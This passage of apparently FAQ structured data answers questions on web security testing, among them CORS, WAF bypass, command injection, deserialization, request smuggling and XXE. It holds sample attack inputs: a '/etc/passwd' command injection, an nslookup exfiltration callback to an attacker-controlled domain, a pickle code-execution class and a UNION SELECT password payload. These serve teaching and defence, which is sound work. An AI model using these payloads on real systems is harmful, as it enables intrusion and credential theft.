\n```\n\nHost that page anywhere, visit it while logged into the target in another tab, and check whether the email actually changed. If the app requires a per-request anti-CSRF token that isn't present in this forged form, or if it correctly relies on `SameSite=Strict` cookies, the request should fail — if it succeeds, that's a confirmed CSRF finding."}},{"@type":"Question","name":"How do you test that an application's security headers (CSP, X-Frame-Options, HSTS, etc.) are correctly configured?","acceptedAnswer":{"@type":"Answer","text":"The fastest first pass is just inspecting the raw response headers (`curl -I` or the browser network tab) on a handful of representative pages — login, a page rendering user content, and any page with an iframe or third-party script — since headers are sometimes set inconsistently across routes rather than globally.\n\nFor Content-Security-Policy specifically, presence alone isn't enough — a policy like `default-src * 'unsafe-inline'` technically exists but provides zero protection, so you check the actual directive values: no `unsafe-inline`/`unsafe-eval` on `script-src`, no wildcard origins, and that it actually gets enforced (test by trying to load an inline script or an external script from a non-allowlisted origin and confirming the browser console blocks it).\n\n```\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nX-Frame-Options: DENY\nContent-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com\n```\n\nFor HSTS, verify the `max-age` is meaningfully long (a 300-second HSTS header offers almost no protection), and that HTTP requests actually get upgraded/redirected to HTTPS rather than just having the header present on the HTTPS response nobody's first request hits."}},{"@type":"Question","name":"What's the difference between SAST, DAST, and SCA, and when do you use each?","acceptedAnswer":{"@type":"Answer","text":"SAST (Static Application Security Testing) analyzes source code or bytecode without running it — think of it as a very security-focused linter that traces data flow through the code to find patterns like unsanitized input reaching a SQL query. It runs early (even in the IDE or on every PR), finds issues down to the exact line number, but produces more false positives since it can't see runtime behavior.\n\nDAST (Dynamic) tests a running application from the outside, like an attacker would, sending real HTTP requests and observing real responses — it can't point to a line of code, but it validates real, exploitable behavior including things SAST can't see, like server misconfiguration.\n\nSCA (Software Composition Analysis) doesn't look at your code at all — it inventories your third-party dependencies (npm packages, Maven artifacts, container base images) and cross-references them against known CVE databases, since most modern applications are majority third-party code by volume and that's where a large share of real-world breaches originate (e.g., Log4Shell). A mature pipeline runs all three: SAST and SCA on every commit for fast, code-level feedback, DAST periodically against a running staging environment for runtime coverage SAST can't provide."}},{"@type":"Question","name":"What is clickjacking and how do you test for and prevent it?","acceptedAnswer":{"@type":"Answer","text":"Clickjacking loads a victim site in an invisible (opacity: 0) iframe layered underneath an attacker's decoy page, so when the victim thinks they're clicking a button on the attacker's page ('Claim your prize'), they're actually clicking a button on the real site underneath — like a 'Delete account' or 'Transfer funds' confirmation.\n\nTo test for it, try framing the target page in a simple test harness:\n\n```html\n\n```\n\nIf the target page renders inside the iframe at all, it's potentially frameable — the next step is figuring out if there's a sensitive action reachable in one or two clicks that an attacker could realistically bait a victim into.\n\nPrevention is a header, not application logic: `X-Frame-Options: DENY` (or `SAMEORIGIN` if legitimate same-site framing is needed) blocks it in older browsers, and the modern equivalent is `Content-Security-Policy: frame-ancestors 'none'` (or a specific allowlist), which is more flexible and is what current testing should actually check for, since `X-Frame-Options` is being phased out in favor of CSP's `frame-ancestors` directive."}},{"@type":"Question","name":"How do you test for CORS misconfigurations?","acceptedAnswer":{"@type":"Answer","text":"CORS testing is about checking whether the server's `Access-Control-Allow-Origin` logic is actually restrictive, or whether it's been implemented in a way that accidentally trusts arbitrary origins. The classic mistake is dynamically reflecting whatever `Origin` header the browser sent back into `Access-Control-Allow-Origin`, often paired with `Access-Control-Allow-Credentials: true`.\n\n```\nRequest: Origin: https://evil.com\nResponse: Access-Control-Allow-Origin: https://evil.com\n Access-Control-Allow-Credentials: true\n```\n\nIf you send an arbitrary, attacker-controlled origin and the server echoes it back with credentials allowed, any site on the internet can now make authenticated cross-origin requests to this API using the victim's cookies and read the response — that's a full account-takeover-adjacent bug, not a minor misconfiguration.\n\nOther patterns to specifically test: overly loose regex allowlists (`*.target.com` accidentally matching `target.com.evil.com` if the regex isn't anchored), the `null` origin being allowed (exploitable via sandboxed iframes or local HTML files), and whether preflight (`OPTIONS`) responses are actually enforced consistently with the real request's response headers rather than just the preflight being permissive."}},{"@type":"Question","name":"How do you test whether an application is storing passwords securely?","acceptedAnswer":{"@type":"Answer","text":"Since you usually can't see the database directly during black-box testing, you infer password storage practices from indirect signals: does the app enforce (or even allow) very long passwords (bcrypt famously truncates at 72 bytes — an app accepting a 500-character password without issue might be using something else, or truncating silently), and does a password-reset flow ever email the plaintext password back to the user (an immediate, definitive red flag — it means passwords aren't hashed at all, since a correctly hashed password is one-way and can't be recovered).\n\nIn a gray-box or code-review context, you check directly: passwords must go through a slow, purpose-built hashing algorithm — bcrypt, scrypt, or Argon2 (the current OWASP recommendation) — never a fast general-purpose hash like MD5 or SHA-256 alone, because fast hashes let an attacker with a stolen hash database brute-force billions of guesses per second on commodity GPUs.\n\n```python\nimport bcrypt\nhashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))\n```\n\nYou'd also check that each password has a unique, randomly generated salt (bcrypt/Argon2 handle this automatically) so that identical passwords don't produce identical hashes, which would otherwise let an attacker spot which users share a password just by comparing hash values."}},{"@type":"Question","name":"What's the difference between black-box, white-box, and gray-box penetration testing?","acceptedAnswer":{"@type":"Answer","text":"These describe how much internal knowledge the tester starts with, which changes both the realism and the depth of what gets found. Black-box testing gives the tester nothing beyond a URL or IP — no source code, no credentials, no architecture docs — simulating an anonymous external attacker, which is realistic but can miss deep logic flaws that would take too long to find blind within a limited test window.\n\nWhite-box testing gives the tester full access — source code, architecture diagrams, sometimes even a walkthrough from the engineering team — letting them find subtle logic and implementation bugs far faster and more thoroughly than a black-box approach ever could, at the cost of not simulating a real attacker's actual starting position.\n\nGray-box sits in between and is what most professional engagements actually use: the tester gets some credentials (e.g., a normal user account, maybe an internal network position) but not source code, which balances realistic attacker simulation with enough of a foothold to actually reach the interesting parts of the app — testing what a malicious insider or a customer with a compromised account could do, which is the threat model most businesses actually care most about."}},{"@type":"Question","name":"How do you test whether a Web Application Firewall (WAF) can be bypassed?","acceptedAnswer":{"@type":"Answer","text":"WAF testing starts from the premise that a WAF is a pattern-matching filter sitting in front of the app, not a fix for the underlying vulnerability — so the goal is proving the app is still exploitable through payload variations the WAF's ruleset doesn't recognize, not disabling the WAF itself.\n\nCommon bypass techniques: case variation and mixed encoding (`SeLeCt`, `%53%45%4c%45%43%54`), inline comments to break up signature-matched keywords (`SEL/**/ECT`), alternate whitespace (tabs, newlines instead of spaces, which some regex-based WAF rules don't account for), and HTTP parameter pollution (sending the same parameter twice, since the app and the WAF sometimes parse duplicate parameters differently — the WAF inspects the first occurrence, the app uses the last).\n\n```\nBlocked: ' UNION SELECT username,password FROM users--\nBypass try: '/**/UNI%4fN/**/SEL%45CT/**/username,password/**/FROM/**/users--\n```\n\nA good WAF test report doesn't just say 'bypassed' — it documents that the underlying vulnerability is unpatched and the WAF is only reducing the attack surface, not eliminating it, since relying on a WAF instead of fixing the root cause is exactly the gap this kind of testing is meant to surface."}},{"@type":"Question","name":"How do you test for OS command injection?","acceptedAnswer":{"@type":"Answer","text":"Command injection happens when user input gets passed to a shell (via functions like `exec()`, `system()`, or `subprocess` with `shell=True`) without proper separation between the intended argument and shell metacharacters. You test it by looking for any feature that plausibly shells out — file conversion tools, ping/traceroute utilities, image processing, PDF generation — and injecting shell metacharacters into the parameter that feeds the command.\n\n```\nInput: 8.8.8.8; whoami\n 8.8.8.8 && cat /etc/passwd\n 8.8.8.8 | id\n```\n\nFor a blind case where output isn't reflected back, use a time-based or out-of-band proof instead — inject `; sleep 10` and measure the response delay, or inject a command that makes the server reach out to a domain you control (`; nslookup $(whoami).attacker-controlled-domain.com`) and check your DNS logs for the callback, which proves execution even with zero visible output.\n\nThe fix a re-test should confirm is that the app switched from shelling out with string concatenation to a safe API that passes arguments as an array without invoking a shell at all (e.g., Python's `subprocess.run([\"ping\", \"-c\", \"1\", user_input], shell=False)`), since even 'sanitizing' metacharacters is fragile compared to just never invoking a shell interpreter on user input."}},{"@type":"Question","name":"How do you test for insecure deserialization vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Insecure deserialization happens when an application reconstructs an object from a serialized byte stream (Java's native serialization, Python's `pickle`, PHP's `unserialize`) without verifying the data came from a trusted source — and several of these serialization formats let the deserialization process itself trigger arbitrary code execution as a side effect of rebuilding certain object types, before the app even looks at the resulting data.\n\nTo find candidates, look for base64-encoded blobs in cookies, hidden form fields, or API payloads — Java's serialized format has a recognizable magic byte prefix (`rO0`) once base64-decoded, and PHP serialized data has a distinctive `O:8:\"ClassName\"` structure.\n\n```python\n# Python pickle — deserializing untrusted data is arbitrary code execution by design\nimport pickle, os\nclass Exploit:\n def __reduce__(self):\n return (os.system, ('id',))\npayload = pickle.dumps(Exploit()) # sent as the \"serialized session\" value\n```\n\nTesting usually means crafting a payload with a known 'gadget chain' (a sequence of existing classes on the target's classpath whose side effects during deserialization chain into code execution — tools like `ysoserial` generate these for Java automatically) and confirming execution via an out-of-band callback. The fix is never 'sanitize the serialized data' — it's switching to a safe data format like JSON with a strict, allow-listed schema, or cryptographically signing serialized data so tampered payloads are rejected before deserialization ever runs."}},{"@type":"Question","name":"Walk through the phases of a typical penetration testing methodology.","acceptedAnswer":{"@type":"Answer","text":"Most professional pentests follow roughly the same five phases, whether it's PTES, OWASP's testing guide, or a firm's internal methodology. Reconnaissance comes first — passive information gathering (DNS records, subdomains, exposed employee info, technology fingerprinting) without touching the target directly, to build a map of the attack surface.\n\nScanning/enumeration follows — now actively probing the target (port scans, service version detection, spidering the web app, enumerating API endpoints) to turn that map into a concrete list of things to test. Vulnerability analysis takes that inventory and identifies which components have known weaknesses or misconfigurations, whether via automated scanners or manual review.\n\nExploitation is where findings get validated — actually demonstrating a SQLi extracts data, a misconfigured S3 bucket is readable, a weak credential logs in — proving real impact rather than theoretical risk. Post-exploitation (in a full-scope engagement) explores what an attacker could pivot to from that initial foothold — lateral movement, privilege escalation, data access — to show blast radius, not just the entry point. The engagement closes with reporting: a prioritized writeup of findings, evidence, business impact, and remediation guidance, since a pentest that finds real bugs but produces a report nobody can act on hasn't actually improved the client's security."}},{"@type":"Question","name":"How would you test a cloud environment's IAM configuration for privilege escalation risks?","acceptedAnswer":{"@type":"Answer","text":"Cloud IAM privilege escalation testing isn't about breaking cryptography — it's about finding a combination of permissions that individually look harmless but together let a low-privileged identity grant itself more access. AWS alone has over 20 documented IAM privilege-escalation paths (catalogued by tools like PMapper and the `iam-privesc-scan` project) — a classic example is a user who can't do much directly but has `iam:CreatePolicyVersion` or `iam:AttachUserPolicy` permission, which lets them attach an admin policy to their own user.\n\nThe practical test approach: use a tool like AWS's own IAM Policy Simulator or an open-source graph tool (PMapper, CloudSplaining) to enumerate every principal's *effective* permissions — including ones inherited through role assumption chains and resource-based policies — rather than reading each policy document in isolation, since the dangerous combinations only show up when you look at the graph as a whole.\n\n```bash\n# example check: does this low-priv user have a path to escalate?\naws iam simulate-principal-policy \\\n --policy-source-arn arn:aws:iam::123456789012:user/contractor \\\n --action-names iam:AttachUserPolicy iam:PassRole\n```\n\nReport findings as concrete escalation chains ('user X can call `iam:PassRole` + `lambda:CreateFunction` to run code as an execution role with admin access') rather than just listing individually-suspicious permissions, since that's what actually gets an engineering team to prioritize the fix — usually tightening a policy to a specific resource ARN instead of a wildcard."}},{"@type":"Question","name":"What is HSTS and why does its absence matter?","acceptedAnswer":{"@type":"Answer","text":"HTTP Strict Transport Security is a response header that tells the browser 'for the next N seconds, never load this site over plain HTTP again — even if a link or a typed URL says http://, silently upgrade it to https:// before sending anything.' It closes a real gap that HTTPS alone doesn't: the very first request a user's browser sends is often plain HTTP (they typed the domain without a scheme, or clicked an old bookmark), and that one request is a window for a man-in-the-middle on public wifi to intercept or downgrade the connection (an SSL-stripping attack) before the server even gets a chance to redirect to HTTPS.\n\nWithout HSTS, an attacker on the same coffee-shop network as a victim can intercept that first plaintext request and simply never let it redirect to HTTPS, silently proxying the whole session in plaintext while the victim sees what looks like a normal page.\n\nTesting this is simple — check whether the header is present, whether `max-age` is long enough to matter (a year, `31536000`, is standard), and whether `includeSubDomains` is set if any subdomain also handles sensitive data, since a missing subdomain coverage leaves the same downgrade window open one level down."}},{"@type":"Question","name":"How do you test a server's TLS/SSL configuration for weaknesses?","acceptedAnswer":{"@type":"Answer","text":"TLS testing checks three things: which protocol versions and cipher suites the server accepts, whether the certificate itself is valid and correctly configured, and whether known protocol-level vulnerabilities are patched. The fastest way to get all three at once is a dedicated scanner rather than manual checking.\n\n```bash\ntestssl.sh --protocols --vulnerable --headers https://target.com\n```\n\nYou're specifically looking for: SSLv3/TLS 1.0/1.1 still being accepted (deprecated, vulnerable to POODLE and BEAST-class attacks), weak cipher suites (anything using RC4, export-grade ciphers, or CBC-mode ciphers without proper mitigation), a certificate that's expired, self-signed in production, or using a weak key size (RSA under 2048 bits), and known CVE-named vulnerabilities like Heartbleed if an old OpenSSL version is in use.\n\nThe output should feed a prioritized fix list rather than a pass/fail — a server on TLS 1.2 with modern AEAD ciphers (AES-GCM, ChaCha20-Poly1305) and TLS 1.3 support is in good shape even if it hasn't fully dropped TLS 1.2 yet, since TLS 1.2 with modern ciphers is still considered secure; the real red flags are legacy protocol versions and weak ciphers still being *offered*, whether or not a client actually negotiates them."}},{"@type":"Question","name":"How do you test an application for race condition vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Race conditions in web apps almost always show up as a TOCTOU (time-of-check to time-of-use) gap — the server checks a condition (balance ≥ amount, coupon not yet used, seat still available) and then acts on it in a separate step, and if two requests hit that gap concurrently, both can pass the check before either has recorded its effect.\n\nThe classic test target is anything involving a limited resource: a wallet balance, a single-use discount code, a limited-stock item. You send many identical requests at the exact same instant rather than sequentially, since a sequential test can't expose a bug that only manifests when requests genuinely overlap in time.\n\n```python\nimport threading, requests\ndef redeem():\n requests.post('https://target/api/redeem-coupon', json={'code': 'SAVE50'}, headers=auth)\n\nthreads = [threading.Thread(target=redeem) for _ in range(20)]\nfor t in threads: t.start()\nfor t in threads: t.join()\n# then check: did the coupon get applied more than once, or did balance go negative?\n```\n\nIf a single-use coupon or a withdraw-once-balance-check ends up applied/executed multiple times, that confirms the backend isn't using an atomic check-and-set (a database transaction with proper row locking, or an atomic decrement operation) — the fix is making the check-and-act a single atomic database operation instead of two separate application-level steps."}},{"@type":"Question","name":"What is HTTP Request Smuggling, and how would you test for it?","acceptedAnswer":{"@type":"Answer","text":"Request smuggling exploits a disagreement between a front-end server (a load balancer or reverse proxy) and a back-end server about where one HTTP request ends and the next begins — specifically when both `Content-Length` and `Transfer-Encoding: chunked` headers are present in the same request, and the two servers pick different ones to trust.\n\nIf the front-end trusts `Content-Length` but the back-end trusts `Transfer-Encoding` (a CL.TE mismatch), an attacker can craft a request where the front-end thinks the request ends at one point, but the back-end keeps reading — treating part of what the attacker sent as the start of the *next* request on that reused connection, effectively smuggling a request that gets prepended to whatever the next real user sends.\n\n```\nPOST / HTTP/1.1\nHost: target.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n```\n\nTesting this safely requires care since a wrong guess can desync the connection for other real users — the standard safe technique is a timing-based probe (send an ambiguous request that, if smuggling works, causes the back-end to hang waiting for more data that never arrives, producing a measurable response delay) rather than directly attempting to hijack another user's request in a shared/production environment. This is exactly the kind of test that should be run against an isolated staging environment with connection reuse mirroring production, never against live infrastructure carrying real user traffic."}},{"@type":"Question","name":"What is subdomain takeover and how do you test for it?","acceptedAnswer":{"@type":"Answer","text":"Subdomain takeover happens when a DNS record (usually a CNAME) still points to a third-party service — a discontinued Heroku app, an unclaimed S3 bucket, an expired GitHub Pages site — that the organization no longer owns, letting an attacker claim that same resource on the third-party platform and effectively take control of what loads at the organization's own subdomain.\n\nTesting starts with enumerating subdomains (via DNS brute-forcing, certificate transparency logs, or subdomain-enumeration tools) and checking each CNAME target against a known list of vulnerable service fingerprints — most cloud/SaaS platforms return a distinctive error page ('There isn't a GitHub Pages site here' or 'The specified bucket does not exist') when you request a hostname that used to be provisioned there but isn't anymore.\n\n```\ndig CNAME forgotten.company.com\n→ forgotten.company.com. CNAME old-app.herokuapp.com.\ncurl -s https://forgotten.company.com/ | grep \"no such app\"\n```\n\nIf you find that fingerprint, the (non-destructive, disclosure-only) proof is registering the same resource name on the third-party platform yourself in a controlled test — showing that `forgotten.company.com` now resolves to content you control — and immediately reporting it rather than leaving it claimed, since a real attacker doing this could host phishing pages or steal cookies scoped to the parent domain."}},{"@type":"Question","name":"What is web cache poisoning / cache deception, and how do you test for it?","acceptedAnswer":{"@type":"Answer","text":"These are two related but distinct bugs. Cache poisoning is when an attacker gets a *malicious* response cached and served to *other* users — typically by manipulating an 'unkeyed' input (a header the cache ignores when deciding what to cache under, like `X-Forwarded-Host`, but that the origin server still uses to build the response) so the poisoned response gets stored and replayed to everyone hitting that same cache key afterward.\n\n```\nGET /page HTTP/1.1\nHost: target.com\nX-Forwarded-Host: evil.com\n\n→ if the origin reflects X-Forwarded-Host into a canonical link or resource URL,\n and the cache key ignores that header, every subsequent visitor gets the poisoned response\n```\n\nCache deception is the mirror-image bug: an attacker tricks a *victim's own private, personalized* response (containing their account data) into being cached under a URL the attacker can also request, by appending something like a fake static-file extension the cache treats as cacheable (`/account/profile/nonexistent.css`) that the app server ignores and serves the real profile page anyway — the cache then stores the victim's personal data under that URL and hands it to the attacker on the next identical request.\n\nTesting both requires understanding the specific cache's key configuration (which headers/params it includes) versus what the origin actually varies its response on — a mismatch between the two is the root cause in every case."}},{"@type":"Question","name":"What is a padding oracle attack and how would you test for one?","acceptedAnswer":{"@type":"Answer","text":"A padding oracle attack targets CBC-mode encryption where the server, when decrypting attacker-supplied ciphertext, leaks (usually through a distinguishable error message or a timing difference) whether the decrypted padding was valid — and that single bit of information, repeated across many crafted ciphertext modifications, is enough to decrypt the entire ciphertext byte-by-byte without ever knowing the encryption key.\n\nTo test for it, find a feature that decrypts an attacker-visible token — an encrypted cookie, a 'viewstate'-style parameter, an encrypted URL token — and flip individual bytes of the ciphertext, then compare the server's error response for 'invalid padding' versus 'valid padding but garbage plaintext' (a different error message, a different HTTP status, or a measurable timing difference between the two failure paths).\n\n```\noriginal: Cookie: auth=AbC123...encrypted_blob...==\nmodified: Cookie: auth=AbD123...encrypted_blob...== → compare error vs original\n```\n\nIf those two failure modes are distinguishable at all, a tool like PadBuster or the classic POET can automate the byte-by-byte decryption (and in some implementations, encryption/forgery) entirely from that oracle, without ever recovering the key itself. The fix is authenticating ciphertext before decrypting it (AES-GCM instead of unauthenticated CBC, or HMAC-then-encrypt done correctly) so tampered ciphertext is rejected uniformly before padding is ever checked."}},{"@type":"Question","name":"What is a dependency confusion attack, and how do you test whether your build pipeline is vulnerable to it?","acceptedAnswer":{"@type":"Answer","text":"Dependency confusion exploits how package managers (npm, pip, Maven with multiple configured registries) resolve a package name when both a private, internal package and a public registry have a package under the exact same name — several package managers, by default or by misconfiguration, will fetch whichever one has the higher version number, regardless of which registry it came from.\n\nAn attacker who learns the name of your internal package (often found in leaked config files, error messages, or job postings mentioning the internal package name) can publish a same-named package to the public registry with an artificially high version number, and your next build may silently pull the attacker's package instead of your real internal one — running the attacker's install-time script inside your CI environment.\n\n```json\n// internal package.json: \"internal-auth-lib\": \"1.2.0\"\n// attacker publishes \"internal-auth-lib\" version \"99.0.0\" to public npm\n```\n\nTo test your own pipeline, check whether your package manager config explicitly scopes/pins internal packages to your private registry (npm scopes like `@yourcompany/pkg`, or a configured registry mapping) rather than relying on the public registry simply not having a same-named higher-version package yet — the safe fix is registering a placeholder for every internal package name on the public registry too, and using scoped packages or an explicit registry allowlist so name-based resolution ambiguity can't happen at all."}},{"@type":"Question","name":"How do you test a mobile app that uses SSL/certificate pinning?","acceptedAnswer":{"@type":"Answer","text":"Certificate pinning is the mobile app hardcoding (or embedding at build time) the exact certificate or public key it expects from its API server, so even a properly-issued, trusted certificate from an attacker-in-the-middle proxy (like the ones security testers normally use — Burp Suite, mitmproxy) gets rejected, because pinning checks for that *specific* cert/key, not just 'signed by a trusted CA.'\n\nTo test the app's actual traffic, you need to defeat the pinning first — on a rooted Android device or jailbroken iOS device, tools like Objection or Frida let you hook the app's TLS validation function at runtime and force it to accept your proxy's certificate anyway, without modifying the app's binary.\n\n```bash\nobjection -g com.target.app explore\nandroid sslpinning disable\n```\n\nOnce pinning is bypassed, you test the underlying API exactly like any other API — auth flows, IDOR, injection — but the pinning bypass itself is also a finding worth noting: if it's the *only* thing preventing traffic interception, and the device is ever rooted/jailbroken by a real attacker (or the app is run in an emulator), that protection disappears entirely, so pinning should be treated as defense-in-depth, not the sole protection for sensitive API traffic."}},{"@type":"Question","name":"How do you test Infrastructure-as-Code templates (Terraform, CloudFormation) for security misconfigurations before they're deployed?","acceptedAnswer":{"@type":"Answer","text":"IaC scanning catches misconfigurations before they ever become a running, exploitable resource — which is both cheaper (fix a line in a `.tf` file vs. remediate a live, possibly already-breached S3 bucket) and fits naturally into the same CI pipeline as code review, since IaC is just code.\n\nTools like Checkov, tfsec, or Terrascan parse the template statically and flag patterns known to be dangerous: an S3 bucket without `block_public_access` set, a security group with `0.0.0.0/0` ingress on a sensitive port, an RDS instance without encryption-at-rest enabled, an IAM policy with a wildcard `Resource: \"*\"`.\n\n```bash\ncheckov -d ./terraform --check CKV_AWS_20,CKV_AWS_21 # public bucket access, versioning\n```\n\nWire this in as a required CI check that runs on every `terraform plan`, failing the pipeline (or at minimum posting inline PR comments) on high-severity findings the same way a SAST gate would for application code — since a misconfigured bucket or an open security group deployed straight to production from an unreviewed template is one of the most common real-world causes of cloud data exposure incidents, and it's also one of the cheapest classes of bug to catch before deploy."}},{"@type":"Question","name":"How would you test whether an application leaks information (like whether a username exists) through response timing?","acceptedAnswer":{"@type":"Answer","text":"Timing side-channels leak information whenever two code paths that *look* identical to the outside actually do different amounts of work internally — the classic example is a login endpoint that checks 'does this username exist' first (fast DB lookup, immediate 'invalid credentials' response) and only runs the (deliberately slow) password hash comparison if the username was found, so a valid username takes measurably longer to reject than an invalid one, revealing which usernames exist without ever confirming a password.\n\nTo test it, send the same request (a known-valid username with a wrong password, versus a definitely-nonexistent username) many times each — dozens to hundreds of samples, since network jitter means a single comparison is noisy — and compare the *median* or *distribution* of response times rather than a single sample.\n\n```python\nimport time, statistics\ndef timed(username):\n t0 = time.perf_counter()\n requests.post(login_url, json={\"user\": username, \"pass\": \"wrong\"})\n return time.perf_counter() - t0\n\nvalid_times = [timed(\"real_user\") for _ in range(50)]\ninvalid_times = [timed(\"definitely_fake_user_xyz\") for _ in range(50)]\nprint(statistics.median(valid_times), statistics.median(invalid_times))\n```\n\nA statistically significant, consistent gap between the two medians (not just occasional noise) confirms the leak. The fix is making both paths do equivalent work regardless of outcome — e.g., always running a password hash comparison against a dummy hash even when the username doesn't exist, so the timing profile is identical either way."}},{"@type":"Question","name":"How would you design a security regression test suite to make sure previously fixed vulnerabilities don't come back?","acceptedAnswer":{"@type":"Answer","text":"Every confirmed vulnerability finding, once fixed, should get converted into a permanent, automated test case that runs on every future build — not just closed and forgotten, because the same class of bug reappearing after a refactor or a new developer touching that code is extremely common in practice.\n\nConcretely: for each fixed finding, write the smallest possible request/assertion pair that reproduces the exact exploit and asserts it now fails (e.g., a specific IDOR payload against a specific endpoint asserting a 403, or a specific XSS payload asserting the output is HTML-encoded in the response). These live alongside functional regression tests, tagged distinctly (`@security-regression`) so they're easy to report on separately.\n\n```python\ndef test_regression_idor_order_endpoint():\n r = requests.get(f\"{BASE}/orders/{tenant_a_order_id}\", headers=tenant_b_auth)\n assert r.status_code == 403, \"REGRESSION: previously fixed BOLA reappeared\"\n```\n\nRun the full suite on every PR touching the affected code path (and ideally the whole suite nightly), and treat any failure as equivalent in severity to catching the original bug for the first time — since a regression is often worse than the original finding, as it usually means the fix was patched over the symptom rather than the underlying design flaw, and the same root cause can resurface in a slightly different form elsewhere."}},{"@type":"Question","name":"What is business logic testing, and how does it differ from testing for standard technical vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Technical vulnerabilities (SQLi, XSS, SSRF) are bugs the application never intended — they're implementation mistakes a scanner can often find by pattern-matching known-bad code shapes. Business logic flaws are the opposite: every individual request is perfectly well-formed and passes all technical validation, but the *sequence or combination* of legitimate requests produces an outcome the business never intended — which is exactly why automated scanners essentially never find these, since there's no malformed payload to signature-match against.\n\nConcrete examples: applying the same single-use discount coupon multiple times by racing requests or replaying the exact same valid request twice before the 'used' flag is set; submitting a negative quantity in a shopping cart to make the total go negative and get *credited* money instead of charged; or completing a multi-step checkout flow out of order (jumping straight to the 'confirm payment' step's API call, skipping the 'verify address' step that a UI would normally enforce but the backend never independently re-checks).\n\nTesting for these requires actually understanding the business rules (reading the product spec, not just the API schema) and then deliberately testing the workflow *out of the intended order* or with *edge-case values* the UI would never let a normal user send but the API itself never validates — which is why this kind of testing benefits enormously from a tester who understands the product, not just the protocol."}},{"@type":"Question","name":"How do you test a role-based access control (RBAC) system for privilege escalation?","acceptedAnswer":{"@type":"Answer","text":"RBAC testing means systematically checking every protected action against every role, not just spot-checking the roles you expect to matter — the bugs almost always live in the combinations nobody thought to test, like a mid-tier role that can reach a high-tier-only endpoint because a new feature's authorization check was copy-pasted from a less restrictive one.\n\nBuild a permission matrix first (every role × every sensitive endpoint/action, with the expected allow/deny result), then automate hitting every cell of that matrix with each role's actual token — this catches both horizontal escalation (accessing another user's data at the same privilege level) and vertical escalation (a regular user reaching an admin-only action).\n\n```python\nfor role, token in role_tokens.items():\n for endpoint in protected_endpoints:\n r = requests.get(endpoint.url, headers={\"Authorization\": f\"Bearer {token}\"})\n expected = permission_matrix[role][endpoint.name]\n assert (r.status_code == 200) == expected, f\"{role} on {endpoint.name} mismatch\"\n```\n\nAlso specifically test for parameter-based role manipulation — if a signup or profile-update endpoint accepts a `role` or `isAdmin` field in the request body and the server doesn't strip/ignore it for non-admin callers, a normal user can simply set `\"role\": \"admin\"` in their own update request and grant themselves elevated access directly, which is one of the most common real-world RBAC bugs and something a permission-matrix test alone won't catch — it needs a dedicated 'can a low-priv user set their own privilege field' test."}},{"@type":"Question","name":"What's the difference between a penetration test and a red team engagement?","acceptedAnswer":{"@type":"Answer","text":"A penetration test has a defined scope and a shared goal with the defenders — everyone typically knows testing is happening, the tester's job is to find as many vulnerabilities as possible within a fixed time window across an agreed set of targets, and success is measured by breadth and depth of findings.\n\nA red team engagement simulates a real, motivated adversary against the *whole organization* (people, process, and technology together) with a specific objective — 'reach the customer database' or 'get a foothold in the finance system' — and, critically, the organization's defenders (the blue team) usually don't know it's happening, so the exercise also measures detection and response capability, not just whether a vulnerability exists.\n\nConcretely: a pentest against a web app will test every login endpoint for every known auth bypass technique it can find in the time given. A red team engagement might only ever touch that same app once — via a single phishing email that gets one employee's laptop compromised — and then spend the rest of the engagement moving laterally through the network toward the objective, deliberately avoiding noisy techniques that would trigger an alert, because success is defined by reaching the goal undetected, not by maximizing the vulnerability count."}},{"@type":"Question","name":"Beyond login brute-force protection, how do you test an API's rate limiting for resource-exhaustion abuse?","acceptedAnswer":{"@type":"Answer","text":"Login endpoints get most of the attention for rate limiting, but any endpoint that does disproportionately expensive work per request — a search with complex filters, a PDF/report generation endpoint, a bulk-export API, an endpoint that triggers a downstream third-party API call you're billed for — is a resource-exhaustion target even if it's technically 'rate limited' at some generic per-minute request count.\n\nThe test is to identify the most expensive operation available to an authenticated (or even unauthenticated) user, and hammer it concurrently rather than sequentially — a generic 'X requests per minute' limiter often doesn't account for *concurrent* in-flight expensive requests, only sequential request counting, so 20 simultaneous report-generation requests can still exhaust CPU/memory/DB connections even while staying under the per-minute cap.\n\n```python\nimport concurrent.futures\ndef gen_report():\n return requests.post(f\"{BASE}/reports/generate\", json={\"range\": \"5-years\"}, headers=auth)\n\nwith concurrent.futures.ThreadPoolExecutor(max_workers=50) as pool:\n results = list(pool.map(lambda _: gen_report(), range(50)))\n# watch for: server 5xx errors, degraded latency for other users, cost spike on billed downstream calls\n```\n\nIf this measurably degrades the service for other users or spikes a billed third-party API cost, that's a legitimate finding — the fix is usually a concurrency-based limiter (max N in-flight expensive operations per user, enforced with a semaphore or queue) layered on top of the simple per-minute request-count limiter, since they protect against different attack shapes."}},{"@type":"Question","name":"What is XML External Entity (XXE) injection and how do you test a direct XML-accepting API endpoint for it?","acceptedAnswer":{"@type":"Answer","text":"XXE exploits XML parsers that, by default, resolve `DOCTYPE` entity declarations referencing external resources — meaning an attacker who controls XML input can define a custom entity pointing at a local file or an internal URL, and if the parser expands it, that content gets embedded into the parsed document (and often reflected back in the app's response or error message).\n\nFor an endpoint that directly accepts XML (a SOAP API, an XML-based file import, a webhook payload), the baseline test is a local file read:\n\n```xml\n\n]>\n&xxe;\n```\n\nIf the response reflects the entity's expanded value somewhere (even partially, or via an error message containing file content), that confirms classic XXE. For blind cases where nothing is reflected, test out-of-band exfiltration by pointing the entity at a URL you control and checking your server's access logs for the callback, optionally chaining it to exfiltrate file contents via a parameter in that outbound request.\n\nThe fix a re-test should confirm is that the XML parser has external entity resolution and DTD processing disabled entirely at the parser configuration level (e.g., Java's `DocumentBuilderFactory.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true)`) — not just filtering the word `DOCTYPE` from input, which is trivially bypassed with encoding or parameter entities."}},{"@type":"Question","name":"What role does fuzzing play in security testing, and how do you set up a basic fuzz test for an API?","acceptedAnswer":{"@type":"Answer","text":"Fuzzing feeds an application large volumes of malformed, unexpected, or randomly-mutated input and watches for crashes, hangs, memory errors, or unexpected behavior — it's fundamentally different from targeted testing (like a specific SQLi payload) because it doesn't assume a specific vulnerability class in advance, it just looks for *anything* that breaks, which is exactly what makes it good at finding bug classes a human tester wouldn't think to check for.\n\nFor an API, a practical setup takes the OpenAPI/Swagger spec (which already defines every 